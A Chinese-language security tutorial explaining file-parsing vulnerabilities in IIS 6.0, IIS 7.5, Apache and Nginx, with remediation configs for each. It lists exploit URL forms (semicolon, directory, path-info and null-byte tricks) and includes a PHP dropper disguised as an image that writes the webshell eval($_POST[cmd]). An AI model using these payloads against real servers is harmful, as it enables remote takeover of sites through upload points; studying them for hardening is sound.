一、說明
服務器解析漏洞算是歷史比較悠久了，但如今依然廣泛存在。在此記錄匯總一些常見服務器（WEB server）的解析漏洞，比如IIS6.0、IIS7.5、apache、nginx等
二、IIS5.x-6.x解析漏洞（針對asa/asp/cer）
1、打開之前的一個網站，比如：cookies
2.目錄解析漏洞
找到cookies,新建一個名字為.asp(也可以是.cer和.asa)的文件夾，這種名字都叫做目錄解析漏洞，
然后在文件夾中隨意加幾個文檔，將名字改為.jpg .gif
目錄解析漏洞基本通殺所有的windows
如果我們的服務器文件夾帶擴展名，那么這個文件夾下面的任何文件都會被當作腳本解析
文件上傳有個低版本的致命漏洞
3.IIS5.x-6.x漏洞解析總結
使用iis5.x-6.x版本的服務器，大多為windows server 2003，網站比較古老，開發語句一般為asp；該解析漏洞也只能解析asp文件，而不能解析aspx文件。
目錄解析(6.0)
形式：www.xxx.com/xx.asp/xx.jpg
原理: 服務器默認會把.asp，.asa目錄下的文件都解析成asp文件。
文件解析
形式：www.xxx.com/xx.asp;.jpg
原理：服務器默認不解析;號后面的內容，因此xx.asp;.jpg便被解析成asp文件了。
解析文件類型
IIS6.0 默認的可執行文件除了asp還包含這三種 :
/test.asa
/test.cer
/test.cdx
修復方案
1.目前尚無微軟官方的補丁，可以通過自己編寫正則，阻止上傳xx.asp;.jpg類型的文件名。
2.做好權限設置，限制用戶創建文件夾。
三、apache解析漏洞（針對php比較好）
1、原理
Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如 test.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把xxxx.php.owf.rar解析成php。
搭建一個phpnow,有apache的解析漏洞
上傳一個.phpaaabbbzzz的文件，它就會解析成php文件
2.漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置問題導致漏洞
（1）如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
（2）如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg，一樣能以 php 方式執行。
3.修復方案
1.apache配置文件，禁止.php.這樣的文件執行，配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.用偽靜態能解決這個問題，重寫類似.php.*這類文件，打開apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#號去掉，重啟apache,在網站根目錄下建立.htaccess文件,代碼如下:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
四、nginx解析漏洞（對jsp的處理能力比較強）
1、原理
Nginx默認是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當訪問www.xx.com/phpinfo.jpg/1.php這個URL時，$fastcgi_script_name會被設置為“phpinfo.jpg/1.php”，然后構造成SCRIPT_FILENAME傳遞給PHP CGI，但是PHP為什么會接受這樣的參數，並將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfo這個選項了。 如果開啟了這個選項，那么就會觸發在PHP中的如下邏輯：
PHP會認為SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就會將phpinfo.jpg作為PHP文件來解析了
2、漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx <8.03 空字節代碼執行漏洞)
另外一種手法：上傳一個名字為test.jpg，以下內容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。
3、修復方案
1.修改php.ini文件，將cgi.fix_pathinfo的值設置為0;
2.在Nginx配置文件中添加以下代碼：
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
這行代碼的意思是當匹配到類似test.jpg/a.php的URL時，將返回403錯誤代碼。
4、實驗
nginx解析php的時候默認走的是CGI模式
nginx一般對於jsp的處理能力比較強，一般是java搭建的jsp文件
CGI的致命缺點：
比如傳一個圖片，圖片里面涵蓋木馬，如果要把圖片將腳本解析的話，后面直接加“/”,比如1.jpg/1.php,就直接當成php解析了，
原因就是pathinfo的問題
默認為1，只要給我別人一個上傳點就可以將你的服務器控制了,但是設置為0（你上傳什么文件就按什么文件解析）的話就ok了
五、IIS7.5解析漏洞
IIS7.5的漏洞與nginx的類似，都是由於php配置文件中，開啟了cgi.fix_pathinfo，而這並不是nginx或者iis7.5本身的漏洞。
https://www.xp.cn/a.php/182.html
當安裝完成后， php.ini里默認cgi.fix_pathinfo=1，對其進行訪問的時候，在URL路徑后添加.php后綴名會當做php文件進行解析，漏洞由此產生
注：在進行實際的測試的時候，發現漏洞並沒有產生，后來發現要設置FastCGI為關閉，該項好像是用來處理數據文件
如此，就可以來點高級玩法
創建cmd.txt文件，內容為
<?php
fputs(fopen('shell.php','w'),'<?php phpinfo();?>');
/創建新的文件
?>
保存后，重命名為cmd.jpg 文件
再次進行訪問
